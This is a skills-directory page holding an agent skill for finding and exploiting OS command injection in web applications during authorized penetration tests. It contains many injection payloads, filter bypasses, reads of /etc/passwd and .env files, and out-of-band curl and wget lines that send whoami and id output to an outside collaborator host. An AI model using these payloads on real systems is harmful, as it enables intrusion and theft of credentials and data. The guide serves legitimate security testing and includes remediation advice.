Identifying and exploiting OS command injection vulnerabilities in web applications where user input is passed to a system shell, leading to arbitrary command execution.
2 stars
0 votes
0 copies
0 views
Added November 7, 2026
securitypythongoshellbashtestinggit
Works with
cli
Security analysis
B84/100
mediumUses curl or wget to download content
criticalAccesses sensitive system or user directories
Installs into .claude/skills of the current project.
Are you the author of Webapp Exploiting Os Command Injection?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/bitbytelabio-webapp-exploiting-os-command-injection)
---
name: webapp-exploiting-os-command-injection
description: Identifying and exploiting OS command injection vulnerabilities in web applications where user input is passed to a system shell, leading to arbitrary command execution.
domain: webapp
category: injection
hide: true
license: Apache-2.0
metadata:
manifest_entry: src/corpus/webapp-exploiting-os-command-injection/SKILL.md
---
# Exploiting OS Command Injection
## When to Use
- During authorized penetration tests when a parameter is reflected into a
system command, shell, or process invocation (ping, nslookup, ImageMagick,
ffmpeg, pdf/zip utilities, git, tar, "export to PDF", "test connection", etc.)
- When testing admin/diagnostic features ("ping host", "traceroute", "DNS lookup",
"check connectivity") which are the single most common command-injection sinks
- When file names, hostnames, or format parameters flow into `system()`,
`exec()`, `popen()`, `subprocess` with `shell=True`, `Runtime.exec`, or
backticks
- After finding LFI/file upload — chaining to RCE often involves a command sink
**Do not** run destructive commands (rm, shutdown, fork bombs) on the target.
Limit proof-of-concept to read-only commands (`id`, `whoami`, `hostname`).
## 1. Operational Decision Tree
```text
[Command Injection Sink Candidate Identified]
│
▼
[Preflight Authorization Check]
(Verify target host in scope.json)
│
┌───────────────┴───────────────┐
▼ ▼
[In-Band Execution] [Blind Execution]
(Output Reflected) (No Output Reflected)
│ │
▼ ▼
[Separator Matrix Test] [Timing Oracle Probe]
- Linux: ; | && || $() `` - sleep 5 -> ~5s response
- Windows: & | && %0a - ping -c 5 127.0.0.1
- Newline: %0a / \n │
│ ▼
▼ [OOB Interaction Probe]
[Space Filtering Bypass] - nslookup $COLLAB_DOMAIN
- Linux: ${IFS}, $IFS$9, {cat,} - curl http://$COLLAB_DOMAIN/
- Windows: %PROGRAMFILES:~10,-5% │
│ │
└───────────────┬───────────────┘
▼
[Tripartite Verification Oracle]
Positive Assertion + Negative Baseline + Differential
│
▼
[Evidence Ledger Registration]
arsenal append-evidence --case $CASE_ID --tool commix ...
```
## Critical: Variants Most Often Missed (test these for EVERY parameter)
Command injection is missed when only one separator is tried. For every
parameter — especially hostnames, file names, and "format" values — try the
full separator matrix in both an in-band and a blind form.
```text
# Separators — prepend with the expected-valid value to keep the command working,
# e.g. for a ping field: 127.0.0.1;id
;id # command separator (Linux/most shells)
| id # pipe
|| id # OR (runs if first fails)
& id # background / AND (Windows cmd)
&& id # AND (runs if first succeeds)
`id` # backtick substitution
$(id) # $() substitution
%0a id # newline-injected command (very commonly the ONLY one that works)
%0d%0a id
{id,} # brace bypass when spaces are filtered
\nid
# No-space variants (when spaces/IFS are filtered)
;cat</etc/passwd
;cat${IFS}/etc/passwd
;cat$IFS$9/etc/passwd
{cat,/etc/passwd}
# Windows
& whoami
&& whoami
| whoami
%0a whoami
```
### Blind / out-of-band detection (when output is NOT reflected)
Most real command injection is blind. Confirm with timing or OOB callbacks:
```text
# Time-based — a reliable, target-agnostic confirmation
;sleep 10
& ping -n 10 127.0.0.1 # Windows
;ping -c 10 127.0.0.1 # Linux
$(sleep 10)
`sleep 10`
%0asleep%2010
# Out-of-band (DNS/HTTP) using a collaborator/interactsh domain
;nslookup <unique>.oast.fun
;curl http://<unique>.oast.fun/$(whoami)
& nslookup <unique>.oast.fun # Windows
;wget --post-data="$(id)" http://<unique>.oast.fun
```
A 10-second delay that tracks the injected `sleep` value (test 0s vs 10s vs 20s
to rule out network noise), or a DNS/HTTP hit on your collaborator, confirms
injection even with no visible output.
### How to CONFIRM a hit
- In-band: response contains `uid=` / `gid=` (Linux `id`) or a Windows
`DOMAIN\user` string (`whoami`), or `Linux ... #` from `uname -a`.
- Blind time-based: response time correlates with the injected sleep duration.
- OOB: interaction (DNS or HTTP) received on your collaborator with the
expected unique subdomain — and ideally exfiltrated `whoami` output in it.
## Workflow
### Step 1: Find command sinks
```bash
# Parameters/features that commonly reach a shell:
# host, ip, domain, url, target, ping, dns, lookup, cmd, exec, command,
# file, filename, path, name, format, type, ext, page, lang, action
# Diagnostic UIs ("network tools", "test connection", "send test email",
# "export", "convert", "backup") are prime sinks.
# Baseline a known-good request first to measure normal timing/size.
curl -s -o /dev/null -w "%{http_code} %{size_download} %{time_total}s\n" \
"https://target.example.com/diag/ping?host=127.0.0.1"
```
### Step 2: Probe with the separator matrix (in-band)
```bash
HOST="https://target.example.com/diag/ping"
for p in ';id' '|id' '||id' '&id' '&&id' '`id`' '$(id)' '%0aid' '{id,}'; do
echo -n "127.0.0.1$p -> "
curl -s "$HOST?host=127.0.0.1$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$p")" \
| grep -aoE 'uid=[0-9]+\([a-z0-9_]+\)' | head -1 || echo "no marker"
done
```
### Step 3: Confirm blind injection with timing
```bash
for d in 0 10 20; do
t=$(curl -s -o /dev/null -w "%{time_total}" \
"https://target.example.com/diag/ping?host=127.0.0.1%3Bsleep%20$d")
echo "sleep $d -> ${t}s"
done
# If the response time tracks the sleep value, injection is confirmed.
```
### Step 4: Out-of-band confirmation and limited exfiltration
```bash
# Start an interactsh client (or use Burp Collaborator) and use the domain:
OOB="abcd1234.oast.fun"
curl -s "https://target.example.com/diag/ping?host=127.0.0.1%3Bcurl%20http://$OOB/%24(whoami)"
# Check the OOB client for a hit containing the resolved username.
```
### Step 5: Escalate (only within scope)
- Read files: `;cat /etc/passwd`, `;cat /var/www/html/.env`
- Identify context: `;id;uname -a;hostname;pwd`
- Establish an interactive shell only if the engagement authorizes it; prefer a
read-only PoC otherwise.
## Key Concepts
| Concept | Description |
|---------|-------------|
| **Command separator** | Shell metacharacters (`; | & && || newline`) that terminate the intended command and start an attacker one |
| **Argument injection** | Injecting extra flags (e.g. `--output`, `-o`) into a binary even when no shell separator is reachable |
| **Blind injection** | No command output is returned; confirmed via timing or out-of-band callbacks |
| **Out-of-band (OOB)** | Forcing the server to make a DNS/HTTP request to attacker infrastructure to prove execution |
| **IFS bypass** | Using `${IFS}`, `$IFS$9`, or brace expansion to inject commands when spaces are filtered |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **Burp Suite Professional** | Intercept/Repeater/Intruder for the separator matrix; Collaborator for OOB |
| **interactsh (oast.fun)** | Self-hosted/public OOB interaction server for blind detection |
| **commix** | Automated command-injection detection and exploitation |
| **ffuf** | Fuzzing parameters with a command-injection payload list |
### Automated Testing with Commix (Rate-Safe & Proxy-Routed)
```bash
# Automated command injection fuzzing via authorized proxy
commix --url="https://$TARGET/diag/ping?host=127.0.0.1" \
--batch \
--proxy="http://127.0.0.1:8080" \
--delay=1 \
--timeout=15 \
--level=2 \
--output-dir="work/$CASE_ID/evidence/raw/commix_out"
```
## 2. Tripartite Verification Oracle
```text
+---------------------------------------------------------------------------------------+
| TRIPARTITE VERIFICATION ORACLE |
+---------------------------------------------------------------------------------------+
| 1. POSITIVE ASSERTION | - In-Band: Attributable shell output observed: |
| | "uid=" AND "gid=" (Linux id) OR "Windows IP" (ipconfig)|
| | - Blind Timing: Response delay >= (sleep_seconds - 0.5s)|
| | - Blind OOB: Interaction callback received at DNS/HTTP |
+-----------------------------+---------------------------------------------------------+
| 2. NEGATIVE BASELINE | Probe parameter with legitimate benign input: |
| CONTROL | Confirm response latency <= 1.0s and output contains no |
| | unexpected system command headers or exit codes. |
+-----------------------------+---------------------------------------------------------+
| 3. DIFFERENTIAL INVARIANCE | Repeat timing probe with secondary delay (e.g. 7s): |
| | Verify observed latency scales precisely to ~7.0s, |
| | ruling out network jitter or transient spikes. |
+---------------------------------------------------------------------------------------+
```
## 3. Evidence Capture & Ledger Registration
```bash
# Register proof-of-concept evidence into case repository
arsenal append-evidence \
--case $CASE_ID \
--tool commix \
--file work/$CASE_ID/evidence/raw/cmd_injection_poc.txt \
--desc "Confirmed Remote OS Command Injection with tripartite verification"
```
## Common Scenarios
### Scenario 1: "Ping host" diagnostic
A network-tools page runs `ping -c 4 <host>`. Submitting `127.0.0.1;id` returns
the ping output followed by `uid=33(www-data)`, confirming injection.
### Scenario 2: Blind injection in a hostname field
A "test SMTP connection" feature gives no output. `mail.x;sleep 15` makes the
response take ~15s while a valid host returns in <1s — blind RCE confirmed via
timing, then escalated with an OOB `nslookup` callback.
### Scenario 3: Filtered spaces
Input strips spaces, so `;cat /etc/passwd` fails but
`;cat${IFS}/etc/passwd` succeeds.
## Output Format
```
## Finding: OS Command Injection in Ping Diagnostic
**Severity**: Critical (CVSS 9.8)
**Location**: GET /diag/ping?host=127.0.0.1;id
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Submit host=127.0.0.1 (baseline, ~0.2s)
2. Submit host=127.0.0.1;id
3. Response contains: uid=33(www-data) gid=33(www-data)
4. Blind confirmation: host=127.0.0.1;sleep 10 -> ~10s response
### Impact
Arbitrary command execution as the web-server user; full server compromise
and pivot into the internal network are possible.
### Recommendation
1. Never pass user input to a shell. Use argument arrays / native libraries
(e.g. execve with a fixed argv, no shell) instead of system()/shell=True.
2. Strictly allowlist input (e.g. validate host is a valid IP/hostname).
3. Run the service with least privilege and egress filtering to block OOB.
```